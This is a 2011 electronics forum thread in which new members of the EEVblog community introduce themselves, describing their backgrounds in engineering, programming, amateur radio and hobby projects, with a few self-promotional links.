I am a professional IT guy, web developer and programmer and have a little electronics experience from when I was younger.

For some reason I feel like seriously getting into electronics engineering. I'm so used to thinking logic and programming that maybe its why electronics captures my interest so much. It naturally feels like the next best extension of knowledge I should be learning.

I have an electronics lab setup for the first time (just under $1000). Its really neat and I based all my purchases on recommendation from Dave's videos and other people in the forum.

I'm very excited to get started and learn the basics of how each component works and figure it out as I go.

I'm always up for helping or sharing ideas with anyone.
 8)

-Ray
Title: Re: New Member, Please introduce yourself
Post by: hfleming on January 28, 2011, 09:15:46 am
Hi, I am Hendrik. I am originally from South Africa, but are now living in Norway. I have designed RF equipment (transceivers and peripherals), industrial electronic equipment (SCADA systems, robots, etc), aviation electronics and did a lot of work on EMI.
Title: Re: New Member, Please introduce yourself
Post by: Spekkio on January 29, 2011, 11:33:48 am
Hello, My name is Daniel, I study Electronics Engineering in Sweden.
My brother taught me to program in Amiga Basic when I was around 12, and I have been hooked on programming ever since.
After that I am self taught in Turbo Pascal and C. I have always been really fascinated by electronics but it was always like a mystery to me, programming was easier to experiment with. I learned x86 Assembler when I was like 18 I think, and I decided to try and make my own IRC client in Assembler for Windows. It worked but the server and join channel and nickname was hard-coded into the program. And it could only join one channel :)
Anyway, I worked for a while programming my own CMS systems for different small companies, Content Management Systems for their websites.
But I wanted to take on my interests in Electronics and decided to study engineering, and I think it's extremely fun :)
Title: Re: New Member, Please introduce yourself
Post by: Regnirps on January 31, 2011, 02:56:09 am
Hi all. Charlie Springer. Physicist and CTO of Industrial ARMWorks near Seattle. Inventor of the rotating graviometer, the only instrument that can measure the speed of gravity.
Title: Re: New Member, Please introduce yourself
Post by: radiocrazier on February 01, 2011, 12:50:32 pm
Hi all ,I'v just introduced my self, I'm radiocrazier, I'v forgot my name to tell you,I'm come from china, my english name is James.Thamks! ;D ;D ;D ::)
Title: Re: New Member, Please introduce yourself
Post by: RuddyCrazy on February 03, 2011, 10:06:27 am
G'day Guys,
                RuddyCrazy is my alter ego with RE but on the net I'm known as Bryan1 (yes the ETO moderator).

Dave your blogs are nothing but bloody fantastic and when I finally get my RE charge controller project finished I should send you one to try  :D. nothing like constructive criticism.......

Anyway I do see that foul mouth pommie on here so whats the bet I get a hammering off that wanker  ::)

Had I known of the forum I would of joined yonks ago.....

Great work Dave  :P

Oneday we'll have to catch up for a beer or 3

Cheers Bryan
Title: Re: New Member, Please introduce yourself
Post by: zenomp5 on February 03, 2011, 12:39:16 pm
Hello everyone!  Sorry I didn't read every post here, but I hope to meet some friends and hopefully help out.  I was introduced through the EEVBlog on youtube and Dave is the man  lol

I am getting into PIC programming with C and it is a hobby when it comes to this.  I work in the steel industry for programming PLCs and HMIs in South East Asia.
Title: Re: New Member, Please introduce yourself
Post by: mhs2xs on February 04, 2011, 04:08:55 pm
Greetings,
I'm Mitchell. I've been a drummer/musician for 35 years and I'm starting to get into the modification of microphones and preamps. As well as the general troubleshooting that comes along when you've amassed a large amount of audio/recording equipment over the years. I'm trying to better educate myself in electronics. I'm a mechanical guy and had 1 EE course in college, so I know enough about electricity to be mildly dangerous. I'm normally a quick study so hopefully that will change soon.

Cheers!
Mitchell
Title: Re: New Member, Please introduce yourself
Post by: PStevenson on February 05, 2011, 12:23:19 am

Hi I'm Paul Stevenson (28) from Manchester, UK
all my life I have loved electronics and music so I got started trying to make things I couldn't afford to buy for my music and of course my love for electronics took over and I just got into more and more of it outside of the audio fields mostly these days.
I have found it very difficult to get where I am because I have Dyscalculia which is the same as dyslexia but instead of being words and letters it is maths and numbers I have trouble with.

it's mainly thanks to the video blog of Daves that I have found confidence in actually designing things for myself instead of just copying a schematic and so far it's working out well! albeit more simplistic things than the mastery that is Daves designs.
Title: Re: New Member, Please introduce yourself
Post by: sotos on February 10, 2011, 01:11:34 pm
Hello friends.
I am new here, I live in Greece, Athens, and I work about 30 years in electronics-electrics and automation.
Now I repair Pcbs and do some servicing in the field.

My name is Sotiris.
Title: Re: New Member, Please introduce yourself
Post by: ecowarrior on February 12, 2011, 09:17:03 pm
Obligatory 'say hello' post!

Evening all (unless it's morning, in which case replace word as appropriate!).  It's ME from the UK, where it's always cold and people moan.

Starting to tinker with electronics again as a hobby, 30 years after I last had a go with the help of my dad, some resistors, an LED or two and a breadboard that was partly broken.

Have just completed my first successful build (chu moy amp) and now wondering what to build next! Anything to make a mess  :D

Gotta love Dave's crazy style - was a bit of a shock at first but he makes me laugh now.  Good stuff Dave, keep it going!
Title: Re: New Member, Please introduce yourself
Post by: IanJ on February 15, 2011, 07:08:28 pm
Hi from Scotland!

Got into electronics via the Oil Industry back in 1984. Ended up as Technical Manager in charge of R&D looking after all design electronics myself and the software engineers on projects.
Analogue & digital electronics including Z80, Z280, 8031/51 uP, also Mitsubishi PLC/Scada.
Anyone remember Smartwork & HiWireII........?

Left that side of the industry in 2005 for a desk job, and after about 3 years decided I was missing electronics when I got into RC planes and a couple of home built pcb's (using Eagle Pcb) for fun.
Am currently building my 2nd workshop, and having fun buying a load of equipment for it via Ebay.

Got a lot of projects planned for 2011 & beyond.

Ian.
Title: Re: New Member, Please introduce yourself
Post by: radiocrazier on February 17, 2011, 02:53:51 am
Hi my buddys, I'm radiocrazer,my name is James ,ya'all can call me james,a mail allways warning me:You must introduce yourself,I'v introduced myself,That's very interesting.so I will say hello to everybody again.I'm a Chinese student but english not very professionely in electronic mayby making so many matters please contain.Thanx
Title: Re: New Member, Please introduce yourself
Post by: vixr on February 18, 2011, 01:38:07 am
Hello all,
    I'm Rob, senior field service engineer, Thermal Imaging Lab, National Marine Center. Formerly with NASA.
Title: Re: New Member, Please introduce yourself
Post by: mvidal01 on February 22, 2011, 02:00:35 am
Hello,

Mike name is mike and I'm started to get interested in electronics.  Basic Arduino stuff mostly.
Title: Re: New Member, Please introduce yourself
Post by: neoone on February 24, 2011, 07:25:15 pm
Hello!

My name is Filip and I'm from Poland. I have MSc degree in Electronics for 2 years now from Politechnika Wroc?awska (Wroc?aw University of Technology). BTW don't confuse Wroc?aw (which is read a bit like Vroclove but with 'w' instead of 'l' and 'c' as 'c' not 'k') with Warszawa - Warsaw - a capital of Poland  ;) During my studies I was originator and first director of P.I.W.O. Project (Piwo means beer in polish  ;) ) www.projekt-piwo.pl (http://www.projekt-piwo.pl) . Any way, I'm keen on electronics for aboyt 13-14 years now. Currently I run my own small company - we are making electronics project with my friend.  Here's our website www.livelights.pl (http://www.livelights.pl) (more about a hobby project simillar to P.I.W.O. than about our work).
Title: Re: New Member, Please introduce yourself
Post by: zagg on February 27, 2011, 12:07:08 pm
Hello from north of France !

I'm Davy, i'm 34 years old, working on computers networking and security, specialy on Opensource based solutions.
I'm really passionned about electronics since I'm a young guy :-p
I'm a Fan of your great blog David !!! :-) Hope have a labs like yours a day lool

73's  !
F4TQP




Title: Re: New Member, Please introduce yourself
Post by: SoftwareSamurai on March 01, 2011, 02:25:24 pm
Oh Hai!

Well, I'm SoftwareSamurai, and I'm a software engineer by trade (over 20 years now). I've got some EE knowledge and experience, some mad reflow soldering skills (yes, I've use my kitchen's toaster oven to reflow solder SMT boards!), and I've just recently purchased a DSO5102B. My first "modern" o-scope, and I'm loving it! Now I'm having fun scoping all sorts of electronics just to see what I've been missing all of these years.

Hello to all!
Cheers!
Title: Re: New Member, Please introduce yourself
Post by: RFman on March 04, 2011, 07:07:10 am
Hi all,

I'm interested in Amateur Radio and RF. Need a new oscilloscope and and found a lot of information here. I'm slowly working through the messages to see what I can find.
Title: Re: New Member, Please introduce yourself
Post by: Franki on March 04, 2011, 07:14:24 pm
Hi everyone

I'm Frank Harwald from Germany and I started doing electronical engineering and design as a hobbyist as a small kid at age of 7 years(you can never start too young  ;D). It started all with NPN transistors, flashing lights and self built AM-radios, but after several years I specialized into audio and digital electronics. I still do audio electronic engineering only as a hobbyist, but I progressed from digital electronics into µC and computer building and from there into software development as my profession is in the computer industry.
Title: Re: New Member, Please introduce yourself
Post by: smackaay on March 05, 2011, 09:41:34 pm
Hey Everyone,

I'm Steve from Edmonton, Alberta, Canada and I'm primarily a machinist but I also do electrical engineering and mechanical engineering. I started doing electronics as a kid with those radio shack X in 1 kits and had a long hiatus through my teenage years. While I am a machinist for the most part, I do have an electronics lab at work and love kicking around and making neat things! Oh and my site is at http://smackaay.com/ (http://smackaay.com/)
Title: Re: New Member, Please introduce yourself
Post by: edisonobilly on March 07, 2011, 10:33:42 pm
Hi all,

My name is Edison, I am studing Mechatronics engineering at the university of Wolverhampton, UK. I am originally from Nigeria. I have been involved in electronics design for quite some time. I have good practical electronics and mechanical engineering background, I started it as a little kid, since then I have been involved in all sorts of mechanical electronics and computer (microcontrollers too) related projects. I am currently studying mechatronics, which brings these all nicely together and I am really enjoying it.
Title: Re: New Member, Please introduce yourself
Post by: luca.s on March 09, 2011, 01:29:48 pm
Hi fellows !

I'm Luca from sunny Italy. I'm an engineer designing serious analog stuff as a job, and I still enjoy experimenting with electronics in my rare spare time.. Found this lovely place while looking for a cheap DSO.. I hope I can give some support if needed..

Ciao,

L.
Title: Re: New Member, Please introduce yourself
Post by: masterburner on March 09, 2011, 07:09:08 pm
Oh wow, missed this topic.

Well, here I am. A 19 year old electronics student (no idea what the correct name for my education is, I'm from The Netherlands). For any other Dutch visitors: I'm doing an MBO education and I'm going to do an HBO education after this.

I've been around the EEVblog since EP1, but I decided to register just now (darn "Newbie" title), because I'm already registered on a million other forums, but I figured what the hell... I want to participate. :)

I love hobby electronics. I've been messing around with it since forever. I love designing/creating/building stuff. I'm mostly into digital/microcontroller stuff, because you can do lots of interesting projects around an MCU. I'm not really into analog electronics, but I'm learing as I go. I hope I'll learn some things around here too. :)
Title: Re: New Member, Please introduce yourself
Post by: GrumpyDave on March 10, 2011, 11:11:45 am
Hi, just stumbled upon this blog and its great! The Amp Hour too!

I'm a medical electronics maint engineer and student from UK that has recently got back into tinkering with electronics at home. I really like the insight into the design world from these blogs and thought I'd stick around on the forum.

Cheers
Dave

Title: Re: New Member, Please introduce yourself
Post by: Ryan@Belfast on March 10, 2011, 09:14:01 pm
Im Ryan from Belfast Northern Ireland unemployed student studying at Belfast Metropolitan college doing EE Engineering.

Im really enjoying the embedded stuff, hope to play around with some accelerometres and OLED displays on my next project.

Been watchin EEvblog from day one, best blog ever. Good work Dave.

Title: Re: New Member, Please introduce yourself
Post by: eddy66t6 on March 14, 2011, 01:55:48 pm
Hey,
My name is Eoin, a tinkerer, mostly in Audio circuitry, based in Dundalk in Ireland.  :)
Title: Re: New Member, Please introduce yourself
Post by: leia on March 22, 2011, 07:14:30 am
I am leia from Uk. I had completed my computer engineering.I come across blog and this forum and I think they are great.
Title: Re: New Member, Please introduce yourself
Post by: pmrlondon on March 24, 2011, 10:56:51 am
Hi, I'm Phil - originally from Yorkshire, and also having lived in Staffordshire, but now in London, UK. I assemble circuits occasionally, do some work on electrical fittings, mostly in folding campers, and build and repair computers, all outside my formal work which does not usually involve directly handling hardware. I am interested in "antique" computers - that is, 8-bit systems from the 1980s and possibly earlier. I found out about EEVblog during my recent search for a new mulitmeter - I have chosen, but have also started to repair my old one. I will be buying the new one in a few weeks.
Title: Re: New Member, Please introduce yourself
Post by: alvarop on March 30, 2011, 02:12:25 am
Hi, I'm Alvaro. I'm almost done with my BS/MS in Electrical Engineering at the Rochester Institute of Technology in NY.
I'm originally from Mexico, but I've been living in the USA for the past 10 years.

I'm really enjoying the blog and Amp Hour show!

I'm looking to start working on projects more often that I have since I started university.
Title: Re: New Member, Please introduce yourself
Post by: Anks on April 04, 2011, 09:18:33 am
Hi im Kris from the UK and im into hobby electronics and programing. Ive been watching the blog and only just got round to joining.

Im not big on these introductions really maybe ill come back and edit this when I have more time.
Title: Re: New Member, Please introduce yourself
Post by: Aido4ever on April 04, 2011, 05:22:22 pm
hello, I'm Yossi from Israel and electronics is hobby to me for a long time.
Today i'm working on a project which i hope to patent it and maybe do some money of it.

I'm also A Programmer and i'm working on a game but can't find the time of doing both hobbies and being with my son!

Have a good day everyone from Israel.
Title: Re: New Member, Please introduce yourself
Post by: gingy on April 08, 2011, 04:27:21 am
Hi my name is Regine but you can call me ging :)
Title: Re: New Member, Please introduce yourself
Post by: britlee on April 13, 2011, 04:18:23 am
Thank you for your suggestion.
Title: Re: New Member, Please introduce yourself
Post by: slimm on April 14, 2011, 02:32:14 am
Hi I'm Slimm from Northwest Oregon. I'm a Commercial HVAC technician and electronic hobbyist. I'm learning a lot watching Dave on youtube!
Title: Re: New Member, Please introduce yourself
Post by: sacherjj on April 14, 2011, 04:30:26 pm
I'm Joe from Indianapolis, IN.  I got a BSEE 11 years ago, but went into software.  Finally have some space and in the process of relicensing for HAM radio, I have gotten back into electronics.  I've never messed with much RF analog, so learning there and falling back to my current knowledge of microcontrollers and software often.  :)
Title: Re: New Member, Please introduce yourself
Post by: Seb37000 on April 16, 2011, 12:26:49 pm
Hi all,

My name is Sébastien. I am 32 years old.  I live in France, so English is not my natural language and I don't speak it very well. (ps : sorry for my poor grammar and my poor vocabulary, I really do my best !) Understanding is ok.

A few more words about me : three years ago, I decided to go to the university. It was quite difficult. I am interested in electronics but unfortunately I am not very good in this field (too many maths for an "old" man), and I dont have yet all the instruments to practice at home.

Of course, I hope to learn more, that's the reason why I'm here. Thank you for your videos, Dave. They are very interesting for someone like me. ;)
 
Regards,
Seb
Title: Re: New Member, Please introduce yourself
Post by: benkiki on April 24, 2011, 06:27:47 pm
Hello I'm Marvin from Malaysia. Currently pursuing my Degree in Electronics engineering. Majoring in Communication.

Latest project was building an automatic top loading washing machine by using the old 1979 MC68000 microprocessor. Took me days to figure out the thing. Tried it out using Arduino just for the kick and I got it working in 3 hours. Oh and I taken apart my Laptop AC power adapter just now because it keep overheating and going into thermal shutdown. Possible suspect are bad capacitor.
Title: Re: New Member, Please introduce yourself
Post by: Dani on April 26, 2011, 03:24:59 pm
Hi, all

my name is Dani and I'm an engineering student at RMIT (Melbourne Australia) university. and it's electronics and communication engineering, and I'm really passion about it and currently at 3rd year, and I'm looking forward to working on more hobby projects and gain more knowledge and experiences on electronics. by the way thanks for all the helpful videos Dave!   
Title: Re: New Member, Please introduce yourself
Post by: Cj1corbystarlet on April 26, 2011, 03:37:09 pm
Hi all,

I'm a Electrician from Perth WA Australia, been a guest lurker for a while, and finally signed up :).

Getting back into Hobby electronics after a Looooooong break, am also having to repair more an more electronics in my day job as the technology advances, less mechanical relays and more PLC's these days.

Ben
Title: Re: New Member, Please introduce yourself
Post by: EEVblog on April 26, 2011, 11:30:59 pm
hello, I'm Yossi from Israel and electronics is hobby to me for a long time.
Today i'm working on a project which i hope to patent it and maybe do some money of it.

I hope you consider NOT getting a patent, it will almost certainly be money down the drain.
See:
http://www.eevblog.com/2010/08/22/eevblog-106-top-5-tips-to-bring-your-product-to-market/ (http://www.eevblog.com/2010/08/22/eevblog-106-top-5-tips-to-bring-your-product-to-market/)

Dave.
Title: Re: New Member, Please introduce yourself
Post by: elCap on April 28, 2011, 08:50:54 am
Hi everyone!
I'm from Sweden, living in Japan. I have been working in the nanotech/microlithography business for seven years as a system engineer.

Previously I was working as a research engineer, doing everything from electronics, mechanics, programming, to laser and optics, and all the boring stuff between.

Recently I decide to pick up on my electronics interest again after basically being idling since I moved to Japan. So I kick-started by investing in some gear (Osc Agilent MSOX2014A, Meter Agilent 1272A and a Sanwa low price meter, Function gen Rigol DG1022, Power Supply GW Instek GPS-4303, LCR B&K 879B, Pickit 2, some tools, cables and connectors)
I have a wide area of interest, but audio, power supply, laser, optics, measurement technics and amplfier are of little more interest.

EEVblog is a great inspiration, very educational and enjoyable!
Title: Re: New Member, Please introduce yourself
Post by: shadowless on April 29, 2011, 11:25:56 pm
Hi

I am living in US at the moment.

My hunt for an oscilloscope brought me here. I am a hobbyist with no formal training, just learning as i go along.

Learnt a lot about test equipment and electronics stuff here.  I have learnt to appreciate the better quality equipment since.   

Thanks a lot for the site.
Title: Re: New Member, Please introduce yourself
Post by: jasonh on April 30, 2011, 11:04:53 am
Hi all, I found the site by seeing Dave on youtube while searching for something.  I clicked on it to see this really animated guy with an aussie accent and ended up watching a fair few videos :)

    I have been a software and systems guy for all of my career but I have always had a lot of interests.  My dad was an electrical engineer before he moved in to software so I grew up with all the smells and equipment which comes with that.   Unfortunately dad moved in to software before I got to the age where I could really start to learn the fundamentals and my interest moved with him to computers.   So while I could always put together kits like the pros I didn't aways understand why they worked.   To a large extent that hasn't changed except I can understand what I am reading these days so the learning curve doest seem so steep.

   About 5 years ago I bout an atmel avr development kit, the stk500.   I was amazed how easy it seemed to do things with i2c busses etc.  For a software engineer it seemed very plug and play and the electronics didn't seem like such a barrier.   Then my boy arrived  and I never did anything with it.

   Then a little while ago I saw the arduino stuff and my interest has perked again but I have some specific projects to do this time around.   I have ideas for telescope drive controllers,   flight simulator panels,  moving platforms for flight simulators.   The arduino stuff seems to have made a lot of this even simpler than last time around.  Probably because of the easy to use libraries for controlling servos/steppers/spi/i2c/ports etc.

    I bought an uno but I plan to mount the chips on to my own pcb's.  The other day I tried miling one on a cnc just to see how it would come out.   Surprisingly well considering the cutter I used was not ideal.

    I also spend a bit of time in the workshop with my metal and woodworking tools.  The last electronics project I did was building some active speakers.   I only had to populate the boards but there were two with lotsa things on them. You can see a pic of one of the boards here,  how cool would it be to have the skills to design it :)

http://www.mydiversions.com/Site/Orion_Speakers.html (http://www.mydiversions.com/Site/Orion_Speakers.html)

   Otherwise, most of my projects using electronics have been relegated to using 3rd party controllers to integrate my diy flightsim controllers.

   I plan to use my workshop to create some nice (hopefully) things with good electronics.   I want to make a simple telescope drive system and build a telescope mount for a small scope.    Right now I have built my main telescope but I had purchased a mount to put it on.  It's here.

http://gallery.me.com/jason.jane#100103/scopedone&bgcolor=black (http://gallery.me.com/jason.jane#100103/scopedone&bgcolor=black)

  My most recently finished project which had a lot of wiring but using purchased electronics was my CNC machine.   It's partly why I have a new interest in the electronics  because it can really help me do the mechanical parts of project a lot more quickly than I could do before as well as make some things possible that were to time consuming in the past - like replica aircraft panels which require lots of electronics, albeit not too difficult.  Here is that one done.

http://gallery.me.com/jason.jane#100055/dirtysmallshop&bgcolor=black (http://gallery.me.com/jason.jane#100055/dirtysmallshop&bgcolor=black)

   My dads old oscilloscope it broken, bah, it was only 40mhz I think and looking around they are a lot cheaper,  not necessarily in New Zealand, but that Rigol Dave is using looks very good,  I must read up to see if the 'upgrade' is still possible on current versions.

    Anyway,  I will browse the forums and will most likely have more questions than answers but in the end I hope I can have a good mating between my software background, my workshop interests and microcontrollers :)

Thanks,
Jason
Title: Re: New Member, Please introduce yourself
Post by: gluttonforpunishment on April 30, 2011, 02:54:08 pm
Hi Folks,
 I'm new here, and relatively novice at electronics. I found this forum from watching Dave's EEV vlog on youtube, what a great site/guy!

 Well, you guessed it, judging from my user name, I can be somewhat of a "glutton for punishment", at times. I mean well, but, the curiosity of electronics can get me into trouble. That is why I decided to put on the brakes, and start from the beginning in electronics.

 I'm super glad to be here, and I'm looking forward to learning from you guys/gals.

Best regards,

Joe
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on May 01, 2011, 02:13:03 am
Yeah,well,I'd better introduce myself.

My name is Bryan,my nickname on this forum is VK6ZGO,which is my Amateur Radio Callsign.

I am a retired Electronics Technician/Technical Officer,& I have been in this type of job for around 40years.

I am new on this forum,but have been posting comments on Dave's blogs for a couple of years.


I have noticed that some of the people on this forum tend to "put the cart before the horse",in that they try to design

difficult circuitry before they have the basic theoretical knowledge to do so.


Now,having upset a few people,I'll sign off :D

VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Drirr on May 01, 2011, 10:20:58 am
Hi,
My name is David and I'm a student from Czech republic. I was born in 1990.
I am interested in measuring technologies and communication.
Title: Re: New Member, Please introduce yourself
Post by: firewalker on May 01, 2011, 12:04:28 pm
Hi,
My name is David and I'm a student from Czech republic. I was born in 1990.
I am interested in measuring technologies and communication.

Welcome Drirr!
Title: Re: New Member, Please introduce yourself
Post by: RCMR on May 02, 2011, 04:22:53 am
I signed up a while back but thought it time to introduce myself.

I'm an EE from years-back (the mid 1970's was when I got into the game) and although I've switched vocations a few times, they've always been aligned in some way with electronics and I've always been working on some project or another.

These days I'm a publisher and (like Dave) an almost full-time YouTube content creator, running a couple of channels:

RC Model Reviews (https://www.youtube.com/user/RCModelReviews) (website at: RCModelReviews.com (http://www.rcmodelreviews.com)) and XJet (https://www.youtube.com/user/xjet)

At present I'm polishing a couple of electronics projects (prior to publication) I've been working on for RCModelReviews, including a telemetry system for RC planes with speech output, and modding some 900MHz video systems to reduce their spurious outputs and shift them to legal frequencies.

I also design and manufacture some avionics for some small players in the local full-sized aviation industry (helicopters mainly) and do quite a few bespoke systems as/when required.
Title: Re: New Member, Please introduce yourself
Post by: pete101 on May 06, 2011, 07:22:26 am
Hi I'm Pete.

Electronics is my passion and if you have time visit my site to see cool gadgets that you think fits 'on you.

thanks and have a nice day


electronicspassion.com (http://www.electronicspassion.com/)
Title: Re: New Member, Please introduce yourself
Post by: jasonh on May 06, 2011, 08:11:58 am
Hi I'm Pete.

Electronics is my passion and if you have time visit my site to see cool gadgets that you think fits 'on you.

thanks and have a nice day


electronicspassion.com (http://www.electronicspassion.com/)


Is that spam?  I go to the site but I dont see any cool ee related projects just an unfinished store for something?

Title: Re: New Member, Please introduce yourself
Post by: CircuitMart on May 06, 2011, 09:00:59 am
It's internet making us so close to each other!

Great to know you here!

Iris From China, relieved from Driving License this morning!

It is a long March!

I am a PCB maker, do assembly sometimes, I could realize your design into Board with parts...

Interested friends pls visit www.circuit-mart.com (http://www.circuit-mart.com) for more details.

Anyway, it is weekend, I am so happy....


Iris
Title: Re: New Member, Please introduce yourself
Post by: ulix on May 11, 2011, 12:03:20 pm
Hello everybody!

I like David's video blog.
I'm 23 and learing electrician, after that I want to study mechatronics at uni.
To the field of electronics I'm a beginner, build a pulsdetector (not on my own).
I wish that David is including some beginners stuff into his video blog.

cheers
Title: Re: New Member, Please introduce yourself
Post by: adam_lumpkins on May 12, 2011, 10:51:55 pm
Hi my name is Adam I am from the U.S. "texas" I have a strong entrest in hobby electronics and hacking.   I am self tault, I have a decent lab with every thing but a scope!!!lol I have to get one!!  not e-nuff money yet.... I dont know why but I have a strong interest in the "Ausi. electronis community"  !!!!!
Title: Re: New Member, Please introduce yourself
Post by: ilikepez on May 15, 2011, 12:05:12 am
My name is Ryan, I've been watching the eevblog for a little under a year and I find it very interesting. I'm in the Electrical program at my local technical college and I am eventually planning to go back to university to do a Power Engineering program or an Electrical Engineering program.

Our electrical program deals with some electronics trains us to do home, commercial,industrial installation and troubleshooting. We also learn plcs, vfds, and a lot of control systems. I'm having lots of fun with it! I've been doing some electronics for years as a hobby but lately my skills have gotten a lot better and my interest has gone way up.

Title: Re: New Member, Please introduce yourself
Post by: stl on May 17, 2011, 09:50:01 am
Hi,

I've been watching the videos and visiting this forum for some time now, finally took the time to register and start participating.

I'm sure I'll learn things here, hope I can give something back.

Sérgio Luis
Title: Re: New Member, Please introduce yourself
Post by: copiertalk on May 19, 2011, 04:45:25 am
Hello

I am mike.

I am a learning or in the process of learning. I wouldn't consider my self a hacker or a maker but I like to build things and play around with technology and play with electronics, wood working, plastics, just pretty much anything that catches my ADD at the time.

I am a copier / printer / fax / scanner tech by trade.

( as you can probably tell by the username )
Title: Re: New Member, Please introduce yourself
Post by: bartek on May 21, 2011, 06:13:59 am
Great blog Dave and great to see an Aussie doing so much for the industry!

My name is Bartek and I'm currently taking a "detour" from my electronic engineering degree and I'm interested in all things Biomedical, microcontroller and audio.

I'm here to soak up as much info and experience as I can!
Title: Re: New Member, Please introduce yourself
Post by: FrankMc on May 22, 2011, 08:50:00 am
Hi Guys

I,m Frank a sparkie living in Melbourne...Came across Dave,s Blog from a link on a U.S.  sparkie Forum....

 Been doing electronics as a hobby since i was an apprentice ...Dabble with PIC micros, programming in asm a little picbasic pro and lately have used  a program which converts ladder logic to pic code....

Frank
Title: Re: New Member, Please introduce yourself
Post by: N5XL on May 23, 2011, 02:54:37 pm
Hello to all from hot and sunny Phoenix, AZ.  Self taught electronics hobbyist and amateur radio operator for 26 years.

73 de N5XL ..

Title: Re: New Member, Please introduce yourself
Post by: WattSekunde on May 24, 2011, 12:23:54 am
Hello around the globe and maybe beyond...  :D

I am an electronic hobbyist since... I was 5 Years old and I disassembled a small 3V electrical motor from a toy and think to myself... "1.5V battery = to slow"... "9V battery = nice fast"... "220V main power plug in the wall = ??? That has to be really fast!" ***booom***  :o - Yes I did it with the cables from the multimeter of my father. Some croco clips on one motor side and the perfect fitting banana clips into the wall.   ::)

Little later I started with a breadboard and some parts from my father in the early 80's. He is an electronic engineer, too. So, as a child I had a great resource of a wide range of sample components. My first contact to logic ICs was CMOS and not TTL like others around me, because my father used only CMOS on his projects. I loved the low power for battery powered projects and the low voltage range and had never ever problems with electro static discharge on my CMOS chips. I dreamed of building my own CPU...

My first computer contact was the Motorola MEK6802D5 evaluation board. With this thing I've learned what a computer really is from ground up. I soldered some circuits with LEDs etc. on it and writing the code direct into it via the HEX keyboard & display. Later I controlled my lego motors with it.
(http://www.kathke.de/Bilder/motorola_MEK6802D5.jpg)

BTW in germany you always have to make some sort of paper if you want to get a chance to work on interesting jobs. So I have studied electronic engineering and computer science and - yes, worked on some interesting things... (680x, 680xx, inmos Transputer, motorola PPC, PIC, ...  ) :D

In my private workshop I use mostly the nice Hameg Analog/Digital 1507-3.

(http://www.kathke.de/Bilder/Hameg1.jpeg) (http://www.kathke.de/Bilder/Hameg2.jpeg)

And an old TES 2360 LCR Multimeter. I saw now on google and can't believe it's under construction until today for around 100$. I don't really know - but mine is more than 10 maybe 15(!) Years old! Unbelievable. Sometimes I have to by a Gossen-Metrawatt to check if it needs a calibration ;).

@Dave. I'd love to see a tear down of the TES 2360 because it's full of old PCBs, DILs, etc.   ;D


In my very little free time I love to hack things HW/SW and build, rebuild, restore, and play synthesizer. (www.ambientcircle.de (http://www.ambientcircle.de))
(http://www.kathke.de/Bilder/Shruthi-1/myShruthi-1_4s.jpg) (http://www.kathke.de/Bilder/Shruthi-1/myShruthi-1_6s.jpg)



Thank you Dave for your always inspiring EEVblog!

Michael (WattSekunde)
Title: Re: New Member, Please introduce yourself
Post by: pablo on May 24, 2011, 11:40:47 pm
Hello my name is Pablo. I'm an electronics technician but i also have a degree in Electronics Engineering.
Im planning to get a decent lab with pretty every conceivable test gear a technician/engineer could have.

Title: Re: New Member, Please introduce yourself
Post by: joey80 on May 29, 2011, 07:08:53 am
The web site is quite great, keep writing good information.
Title: Re: New Member, Please introduce yourself
Post by: Ged on May 31, 2011, 07:21:32 pm
I'm not new to electronics, but haven't really had anything to do with the field in just over 20 years (US Navy).  I have wanted to get back into electronics as a hobbyist for a long time and have recently begun to stick my toes back into the water (so to speak).  I have started to self-study with the NEETS modules.  For those familiar with it, yes, I know the material is long and dry, but it does seem to be indepth (even more than I remember) as well as free.

As for my involvement here on the forum, I will mostly be needing the help of the members, but I will also contribute where I can.

Dave, I love your blog.  It has been so helpful.  Thank you!  My 5 yr old daughter has watched some of the video blogs with me.  She likes you and loves to say "Don't turn it on, TAKE IT APART!!!"  She makes me laugh every time! ;D
Title: Re: New Member, Please introduce yourself
Post by: cursohistoria2011 on June 01, 2011, 12:06:02 am
Hello everyone I am from Mexico city and I am new to the forum I have no experience in electronic parts but I want to learn
Title: Re: New Member, Please introduce yourself
Post by: zetan on June 04, 2011, 08:12:20 pm
Hi,

My name is Olivier and I am an electrical engineering student at École Polytechnique de Montréal in Québec, Canada. I'm almost over with my bachelor degree and I presently work as a programmer at Ubisoft Montréal.

I recently finished to setup a basic electronic lab in my apartment. The main tools are a Metcal Sp200 soldering station, a homemade power supply (-5V,5V,3.3V,-12V,12V) built from an ATX supply, a homemade double side UV lightbox, a BK Precision 3010 function generator and a brand new Atten 100MHz ADS1102CML (7 inch display, 1 Gsa/s, 2 Msa per channel: a real beauty). I am now waiting for the delivery of my new SMD hot air rework station.

I am mostly interested in robotic electronics. Power stages and control circuitry.

See you,

Olivier
Title: Re: New Member, Please introduce yourself
Post by: WanaGo on June 08, 2011, 08:48:36 am
Hello

My name is James, I am located in New Zealand, and I am an Industrial Automation Engineer. I deal with PLC/SCADA/HMI at work, however did a Mechatronics Engineering Degree 6 years ago and have been dabbling with Electronics since I was a lad. I am only just getting to the stage now of being able to afford some decent equipment, so am currently on the hunt for a Oscilloscope.
I dabble a bit with Arduino's also, however have used AVR's for a while before I came across the Arduino platform. This is a current project of mine if anyone is interested - http://arduino.cc/forum/index.php/topic,61643.0.html (http://arduino.cc/forum/index.php/topic,61643.0.html)
Always happy to be corrected so I can learn, and have some serious reading to do on the Oscilloscope front too.

Cheers
James
Title: Re: New Member, Please introduce yourself
Post by: hannobisschoff on June 09, 2011, 07:39:48 am
Hi everyone, my name is Hanno and I'm from South Africa. I feel very bad saying I'm still just in high school, since this blog seems like a place where the pro's hang out. But this is one of the best ways I learn. I don't want to offend anyone, so I will just keep to myself and occasionally ask a stupid newbie question, and give my humble opinion. I look forward to learning a lot with the members of this blog.
Title: Re: New Member, Please introduce yourself
Post by: pklawit on June 10, 2011, 11:49:40 am
Hello,

My name is Piotr.
I'm from Poland. I'm working for one of the biggest telco companies for 15 years now.
At job I'm a technical support engineer, helping our customers to manage their POTS, VoIP and IP
equipment.
But what really turns me on is my hobby - microcontrollers.
I have started with Z80 years ago and via all Atmel chips (yes, I love Atmel chips, not the PICs ;-)
I came finally to the ARM core based micros.

When I was working with all the "small bugs", I always wanted to have some kind of remote access,
some operating system on it etc.
Now, with the Linux on ARM boards I have all of this, but how do you manage the I/O lines?
This is really re-inventing wheel - let this be a warning for others guys dreaming about embedded linux.

I do not have a brilliant/featured lab, like Dave has, but this is my plan for retirement :-)
